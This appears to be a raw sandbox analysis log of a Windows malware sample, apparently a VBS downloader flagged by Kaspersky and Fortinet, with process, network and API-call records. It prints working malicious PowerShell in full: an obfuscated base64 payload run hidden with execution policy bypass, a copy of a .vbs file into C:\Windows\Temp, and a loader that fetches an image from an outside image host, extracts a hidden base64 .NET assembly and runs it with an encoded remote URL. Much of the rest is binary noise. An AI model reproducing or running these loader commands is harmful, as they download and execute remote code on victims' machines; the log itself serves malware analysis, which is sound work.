wWIbeIlJvgPGwwCpPwOwWIbeIlJvgPYQBnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPOwwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPHMwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBhwCpPwOwWIbeIlJvgPHIwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPtwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPDwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPtwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgP7wCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPcwB0wCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcgB0wCpPwOwWIbeIlJvgPEkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPewCpPwOwWI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vgPD0wCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPBbwCpPwOwWIbeIlJvgPFMwCpPwOwWIbeIlJvgPeQBzwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPZQBtwCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPQwBvwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPdgBlwCpPwOwWIbeIlJvgPHIwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBdwCpPwOwWIbeIlJvgPDowCpPwOwWIbeIlJvgPOgBGwCpPwOwWIbeIlJvgPHIwCpPwOwWIbeIlJvgPbwBtwCpPwOwWIbeIlJvgPEIwCpPwOwWIbeIlJvgPYQBzwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPNgwCpPwOwWIbeIlJvgP0wCpPwOwWIbeIlJvgPFMwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBywCpPwOwWIbeIlJvgPGkwCpPwOwWIbeIlJvgPbgBnwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBiwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPcwBlwCpPwOwWIbeIlJvgPDYwCpPwOwWIbeIlJvgPNwCpPwOwWIbeIlJvgPBDwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPbQBtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPOwwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPbwBhwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPZQBkwCpPwOwWIbeIlJvgPEEwCpPwOwWIbeIlJvgPcwBzwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbQBiwCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPeQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPD0wCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPBbwCpPwOwWIbeIlJvgPFMwCpPwOwWIbeIlJvgPeQBzwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPZQBtwCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPUgBlwCpPwOwWIbeIlJvgPGYwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPGMwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBpwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPbgwCpPwOwWIbeIlJvgPuwCpPwOwWIbeIlJvgPEEwCpPwOwWIbeIlJvgPcwBzwCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPbQBiwCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPeQBdwCpPwOwWIbeIlJvgPDowCpPwOwWIbeIlJvgPOgBMwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPYQBkwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPBjwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPbQBtwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPEIwCpPwOwWIbeIlJvgPeQB0wCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPcwwCpPwOwWIbeIlJvgPpwCpPwOwWIbeIlJvgPDswCpPwOwWIbeIlJvgPJwCpPwOwWIbeIlJvgPB0wCpPwOwWIbeIlJvgPHkwCpPwOwWIbeIlJvgPcwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBvwCpPwOwWIbeIlJvgPGEwCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPGQwCpPwOwWIbeIlJvgPQQBzwCpPwOwWIbeIlJvgPHMwCpPwOwWIbeIlJvgPZQBtwCpPwOwWIbeIlJvgPGIwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPB5wCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPRwBlwCpPwOwWIbeIlJvgPHQwCpPwOwWIbeIlJvgPVwCpPwOwWIbeIlJvgPB5wCpPwOwWIbeIlJvgPHwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPowCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPRgBpwCpPwOwWIbeIlJvgPGIwCpPwOwWIbeIlJvgPZQBywCpPwOwWIbeIlJvgPC4wCpPwOwWIbeIlJvgPSwCpPwOwWIbeIlJvgPBvwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPOwwCpPwOwWIbeIlJvgPkwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPZQB0wCpPwOwWIbeIlJvgPGgwCpPwOwWIbeIlJvgPbwBkwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPB5wCpPwOwWIbeIlJvgPHwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPuwCpPwOwWIbeIlJvgPEcwCpPwOwWIbeIlJvgPZQB0wCpPwOwWIbeIlJvgPE0wCpPwOwWIbeIlJvgPZQB0wCpPwOwWIbeIlJvgPGgwCpPwOwWIbeIlJvgPbwBkwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwBWwCpPwOwWIbeIlJvgPEEwCpPwOwWIbeIlJvgPSQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPLgBJwCpPwOwWIbeIlJvgPG4wCpPwOwWIbeIlJvgPdgBvwCpPwOwWIbeIlJvgPGswCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPowCpPwOwWIbeIlJvgPCQwCpPwOwWIbeIlJvgPbgB1wCpPwOwWIbeIlJvgPGwwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPswCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPWwBvwCpPwOwWIbeIlJvgPGIwCpPwOwWIbeIlJvgPagBlwCpPwOwWIbeIlJvgPGMwCpPwOwWIbeIlJvgPdwCpPwOwWIbeIlJvgPBbwCpPwOwWIbeIlJvgPF0wCpPwOwWIbeIlJvgPXQwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCgwCpPwOwWIbeIlJvgPJwBkwCpPwOwWIbeIlJvgPEgwCpPwOwWIbeIlJvgPawCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPwwCpPwOwWIbeIlJvgPEwwCpPwOwWIbeIlJvgPbQBWwCpPwOwWIbeIlJvgPHUwCpPwOwWIbeIlJvgPYgwCpPwOwWIbeIlJvgPzwCpPwOwWIbeIlJvgPHwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPeQBZwCpPwOwWIbeIlJvgPFYwCpPwOwWIbeIlJvgPYwwCpPwOwWIbeIlJvgPxwCpPwOwWIbeIlJvgPE4wCpPwOwWIbeIlJvgPRwCpPwOwWIbeIlJvgPBNwCpPwOwWIbeIlJvgPHkwCpPwOwWIbeIlJvgPTQBTwCpPwOwWIbeIlJvgPDkwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBiwCpPwOwWIbeIlJvgPEcwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBtwCpPwOwWIbeIlJvgPEwwCpPwOwWIbeIlJvgPegBJwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPTQBpwCpPwOwWIbeIlJvgPDQwCpPwOwWIbeIlJvgPegBNwCpPwOwWIbeIlJvgPFQwCpPwOwWIbeIlJvgPRQB1wCpPwOwWIbeIlJvgPE4wCpPwOwWIbeIlJvgPVwCpPwOwWIbeIlJvgPBjwCpPwOwWIbeIlJvgPHgwCpPwOwWIbeIlJvgPTwCpPwOwWIbeIlJvgPBqwCpPwOwWIbeIlJvgPGMwCpPwOwWIbeIlJvgPdwBNwCpPwOwWIbeIlJvgPFMwCpPwOwWIbeIlJvgPOwCpPwOwWIbeIlJvgPB2wCpPwOwWIbeIlJvgPE8wCpPwOwWIbeIlJvgPbgBCwCpPwOwWIbeIlJvgPDwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPZwCpPwOwWIbeIlJvgPBHwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPPQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPLwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCwwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPDIwCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCwwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPEcwCpPwOwWIbeIlJvgPbwBvwCpPwOwWIbeIlJvgPGcwCpPwOwWIbeIlJvgPbwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPswCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwwCpPwOwWIbeIlJvgPxwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPswCpPwOwWIbeIlJvgPCwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPJwBDwCpPwOwWIbeIlJvgPDowCpPwOwWIbeIlJvgPXwCpPwOwWIbeIlJvgPBXwCpPwOwWIbeIlJvgPGkwCpPwOwWIbeIlJvgPbgBkwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPdwBzwCpPwOwWIbeIlJvgPFwwCpPwOwWIbeIlJvgPVwCpPwOwWIbeIlJvgPBlwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPcwCpPwOwWIbeIlJvgPBcwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPLwCpPwOwWIbeIlJvgPwCpPwOwWIbeIlJvgPgwCpPwOwWIbeIlJvgPCcwCpPwOwWIbeIlJvgPRwBvwCpPwOwWIbeIlJvgPG8wCpPwOwWIbeIlJvgPZwBswCpPwOwWIbeIlJvgPGUwCpPwOwWIbeIlJvgPIwCpPwOwWIbeIlJvgPBDwCpPwOwWIbeIlJvgPGgwCpPwOwWIbeIlJvgPcgBvwCpPwOwWIbeIlJvgPG0wCpPwOwWIbeIlJvgPZQwCpPwOwWIbeIlJvgPnwCpPwOwWIbeIlJvgPCkwCpPwOwWIbeIlJvgPKQwCpPwOwWIbeIlJvgP=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('wCpPwOwWIbeIlJvgP','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
filepath: powershell
1 1 0

CreateProcessInternalW

 thread_identifier: 2272
thread_handle: 0x000002a4
process_identifier: 2264
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\Google.vbs -Force }
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000330
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell.exe
parameters: -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\Google.vbs -Force }
filepath: powershell.exe
1 1 0

CreateProcessInternalW

 thread_identifier: 1684
thread_handle: 0x0000043c
process_identifier: 1688
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/644/749/original/new_image.jpg?1698084523';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmVub3pyYVc1NDMyMS9lbGlmLzIxMi4zMTEuNTcxLjcwMS8vOnB0dGg=' , '' , '2' , 'Google' , '1' , 'C:\Windows\Temp\', 'Google Chrome'))"
filepath_r:
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 1
process_handle: 0x00000440
1 1 0
Kaspersky HEUR:Trojan.Script.Generic
Fortinet VBS/Dloader.ACB!tr
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received [
Data received WeBö¶œðBÈl­˜ž,è“çÎgW…"˕DOWNGRD h\ÞpJçG¥oÃO˸X÷¸ sžz?+N ŒŽ"À ÿ 
Data received Q
Data received ’
Data received ŽAË+K¾ÅhAKy=‰úÃukÉì+C#Jæ[i DP•›YÝ㒊p.?ÇHŠ¸sȆã‰<5O`Ž&¦G0E %è얋©PJ¸ïAdÇt¨ÿnZ}ãuڇRÞ·û²>¤!“P Wžˆ#ð¢Ñ+Úe¿} Å]z¾Úډ´1;ˆË£a
Data received 
Data received 
Data received 
Data received 
Data received 0
Data received ‚˜²¾]cgÀSž‰)&˜'jj]²dû0Öð^®‘«!IRÏ}˜n lìJ
Data sent yueBö§Ÿqª·ø†Qj&·ðj¾ì“ÃÆzŠ¼ñ0¢,Ó/5 ÀÀÀ À 284ÿuploaddeimagens.com.br  
Data sent FBA椤+«tf!²Í¸Ñ·™„æ5±tótvT"Ep1ºrW“%{ˆ—õÑð«u±ýcñG~уõ£ã‡éÊ2Ê08â=xæsÎBðÀN8â ðÎ|¨ÏUà@­ÈzóWÓL£kDŠâ_ó×Á2нèŽl
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

send

 buffer: yueBö§Ÿqª·ø†Qj&·ðj¾ì“ÃÆzŠ¼ñ0¢,Ó/5 ÀÀÀ À 284ÿuploaddeimagens.com.br  
socket: 1424
sent: 126
1 126 0

send

 buffer: FBA椤+«tf!²Í¸Ñ·™„æ5±tótvT"Ep1ºrW“%{ˆ—õÑð«u±ýcñG~уõ£ã‡éÊ2Ê08â=xæsÎBðÀN8â ðÎ|¨ÏUà@­ÈzóWÓL£kDŠâ_ó×Á2нèŽl
socket: 1424
sent: 134
1 134 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 2012
0 0
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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